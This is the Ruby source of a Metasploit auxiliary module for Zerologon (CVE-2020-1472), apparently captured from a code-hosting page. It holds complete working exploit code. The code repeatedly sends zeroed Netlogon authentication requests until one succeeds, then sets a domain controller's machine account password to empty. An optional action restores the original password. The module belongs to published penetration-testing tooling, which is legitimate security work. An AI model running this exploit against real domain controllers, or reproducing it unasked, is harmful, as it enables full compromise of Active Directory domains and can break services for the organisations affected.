207 lines
8.0 KiB
Ruby
207 lines
8.0 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
require 'windows_error'
|
|
|
|
class MetasploitModule < Msf::Auxiliary
|
|
|
|
include Msf::Exploit::Remote::DCERPC
|
|
include Msf::Exploit::Remote::SMB::Client
|
|
include Msf::Auxiliary::Report
|
|
|
|
CheckCode = Exploit::CheckCode
|
|
Netlogon = RubySMB::Dcerpc::Netlogon
|
|
EMPTY_SHARED_SECRET = OpenSSL::Digest.digest('MD4', '')
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => 'Netlogon Weak Cryptographic Authentication',
|
|
'Description' => %q{
|
|
A vulnerability exists within the Netlogon authentication process where the security properties granted by AES
|
|
are lost due to an implementation flaw related to the use of a static initialization vector (IV). An attacker
|
|
can leverage this flaw to target an Active Directory Domain Controller and make repeated authentication attempts
|
|
using NULL data fields which will succeed every 1 in 256 tries (~0.4%). This module leverages the vulnerability
|
|
to reset the machine account password to an empty string, which will then allow the attacker to authenticate as
|
|
the machine account. After exploitation, it's important to restore this password to it's original value. Failure
|
|
to do so can result in service instability.
|
|
},
|
|
'Author' => [
|
|
'Tom Tervoort', # original vulnerability details
|
|
'Spencer McIntyre', # metasploit module
|
|
'Dirk-jan Mollema' # password restoration technique
|
|
],
|
|
'Notes' => {
|
|
'AKA' => ['Zerologon'],
|
|
'Stability' => [CRASH_SAFE],
|
|
'Reliability' => [],
|
|
'SideEffects' => [CONFIG_CHANGES, IOC_IN_LOGS]
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Actions' => [
|
|
[ 'REMOVE', { 'Description' => 'Remove the machine account password' } ],
|
|
[ 'RESTORE', { 'Description' => 'Restore the machine account password' } ]
|
|
],
|
|
'DefaultAction' => 'REMOVE',
|
|
'References' => [
|
|
[ 'CVE', '2020-1472' ],
|
|
[ 'URL', 'https://www.secura.com/blog/zero-logon' ],
|
|
[ 'URL', 'https://github.com/SecuraBV/CVE-2020-1472/blob/master/zerologon_tester.py' ],
|
|
[ 'URL', 'https://github.com/dirkjanm/CVE-2020-1472/blob/master/restorepassword.py' ]
|
|
]
|
|
)
|
|
)
|
|
|
|
register_options(
|
|
[
|
|
OptPort.new('RPORT', [ false, 'The netlogon RPC port' ]),
|
|
OptString.new('NBNAME', [ true, 'The server\'s NetBIOS name' ]),
|
|
OptString.new('PASSWORD', [ false, 'The password to restore for the machine account (in hex)' ], conditions: %w[ACTION == RESTORE]),
|
|
]
|
|
)
|
|
end
|
|
|
|
def peer
|
|
"#{rhost}:#{@dport || datastore['RPORT']}"
|
|
end
|
|
|
|
def bind_to_netlogon_service
|
|
@dport = datastore['RPORT']
|
|
if @dport.nil? || @dport == 0
|
|
@dport = dcerpc_endpoint_find_tcp(datastore['RHOST'], Netlogon::UUID, '1.0', 'ncacn_ip_tcp')
|
|
fail_with(Failure::NotFound, 'Could not determine the RPC port used by the Microsoft Netlogon Server') unless @dport
|
|
end
|
|
|
|
# Bind to the service
|
|
handle = dcerpc_handle(Netlogon::UUID, '1.0', 'ncacn_ip_tcp', [@dport])
|
|
print_status("Binding to #{handle} ...")
|
|
dcerpc_bind(handle)
|
|
print_status("Bound to #{handle} ...")
|
|
end
|
|
|
|
def check
|
|
bind_to_netlogon_service
|
|
|
|
status = nil
|
|
2000.times do
|
|
netr_server_req_challenge
|
|
response = netr_server_authenticate3
|
|
|
|
break if (status = response.error_status) == 0
|
|
|
|
windows_error = ::WindowsError::NTStatus.find_by_retval(response.error_status.to_i).first
|
|
# Try again if the Failure is STATUS_ACCESS_DENIED, otherwise something has gone wrong
|
|
next if windows_error == ::WindowsError::NTStatus::STATUS_ACCESS_DENIED
|
|
|
|
fail_with(Failure::UnexpectedReply, windows_error)
|
|
end
|
|
|
|
return CheckCode::Detected unless status == 0
|
|
|
|
CheckCode::Vulnerable
|
|
end
|
|
|
|
def run
|
|
case action.name
|
|
when 'REMOVE'
|
|
action_remove_password
|
|
when 'RESTORE'
|
|
action_restore_password
|
|
end
|
|
end
|
|
|
|
def action_remove_password
|
|
fail_with(Failure::Unknown, 'Failed to authenticate to the server by leveraging the vulnerability') unless check == CheckCode::Vulnerable
|
|
|
|
print_good('Successfully authenticated')
|
|
|
|
report_vuln(
|
|
host: rhost,
|
|
port: @dport,
|
|
name: name,
|
|
sname: 'dcerpc',
|
|
proto: 'tcp',
|
|
refs: references,
|
|
info: "Module #{fullname} successfully authenticated to the server without knowledge of the shared secret"
|
|
)
|
|
|
|
response = netr_server_password_set2
|
|
status = response.error_status.to_i
|
|
fail_with(Failure::UnexpectedReply, "Password change failed with NT status: 0x#{status.to_s(16)}") unless status == 0
|
|
|
|
print_good("Successfully set the machine account (#{datastore['NBNAME']}$) password to: aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 (empty)")
|
|
end
|
|
|
|
def action_restore_password
|
|
fail_with(Failure::BadConfig, 'The RESTORE action requires the PASSWORD option to be set') if datastore['PASSWORD'].blank?
|
|
fail_with(Failure::BadConfig, 'The PASSWORD option must be in hex') if /^([0-9a-fA-F]{2})+$/ !~ datastore['PASSWORD']
|
|
password = [datastore['PASSWORD']].pack('H*')
|
|
|
|
bind_to_netlogon_service
|
|
client_challenge = OpenSSL::Random.random_bytes(8)
|
|
|
|
response = netr_server_req_challenge(client_challenge: client_challenge)
|
|
session_key = Netlogon.calculate_session_key(EMPTY_SHARED_SECRET, client_challenge, response.server_challenge)
|
|
ppp = Netlogon.encrypt_credential(session_key, client_challenge)
|
|
|
|
response = netr_server_authenticate3(client_credential: ppp)
|
|
fail_with(Failure::NoAccess, 'Failed to authenticate (the machine account password may not be empty)') unless response.error_status == 0
|
|
|
|
new_password_data = ("\x00" * (512 - password.length)) + password + [password.length].pack('V')
|
|
response = netr_server_password_set2(
|
|
authenticator: Netlogon::NetlogonAuthenticator.new(
|
|
credential: Netlogon.encrypt_credential(session_key, [ppp.unpack1('Q') + 10].pack('Q')),
|
|
timestamp: 10
|
|
),
|
|
clear_new_password: Netlogon.encrypt_credential(session_key, new_password_data)
|
|
)
|
|
status = response.error_status.to_i
|
|
fail_with(Failure::UnexpectedReply, "Password change failed with NT status: 0x#{status.to_s(16)}") unless status == 0
|
|
|
|
print_good("Successfully set machine account (#{datastore['NBNAME']}$) password")
|
|
end
|
|
|
|
def netr_server_authenticate3(client_credential: "\x00" * 8)
|
|
nrpc_call('NetrServerAuthenticate3',
|
|
primary_name: "\\\\#{datastore['NBNAME']}",
|
|
account_name: "#{datastore['NBNAME']}$",
|
|
secure_channel_type: :ServerSecureChannel,
|
|
computer_name: datastore['NBNAME'],
|
|
client_credential: client_credential,
|
|
flags: 0x212fffff)
|
|
end
|
|
|
|
def netr_server_password_set2(authenticator: nil, clear_new_password: "\x00" * 516)
|
|
authenticator ||= Netlogon::NetlogonAuthenticator.new(credential: "\x00" * 8, timestamp: 0)
|
|
nrpc_call('NetrServerPasswordSet2',
|
|
primary_name: "\\\\#{datastore['NBNAME']}",
|
|
account_name: "#{datastore['NBNAME']}$",
|
|
secure_channel_type: :ServerSecureChannel,
|
|
computer_name: datastore['NBNAME'],
|
|
authenticator: authenticator,
|
|
clear_new_password: clear_new_password)
|
|
end
|
|
|
|
def netr_server_req_challenge(client_challenge: "\x00" * 8)
|
|
nrpc_call('NetrServerReqChallenge',
|
|
primary_name: "\\\\#{datastore['NBNAME']}",
|
|
computer_name: datastore['NBNAME'],
|
|
client_challenge: client_challenge)
|
|
end
|
|
|
|
def nrpc_call(name, **kwargs)
|
|
request = Netlogon.const_get("#{name}Request").new(**kwargs)
|
|
|
|
begin
|
|
raw_response = dcerpc.call(request.opnum, request.to_binary_s)
|
|
rescue Rex::Proto::DCERPC::Exceptions::Fault
|
|
fail_with(Failure::UnexpectedReply, "The #{name} Netlogon RPC request failed")
|
|
end
|
|
|
|
Netlogon.const_get("#{name}Response").read(raw_response)
|
|
end
|
|
end
|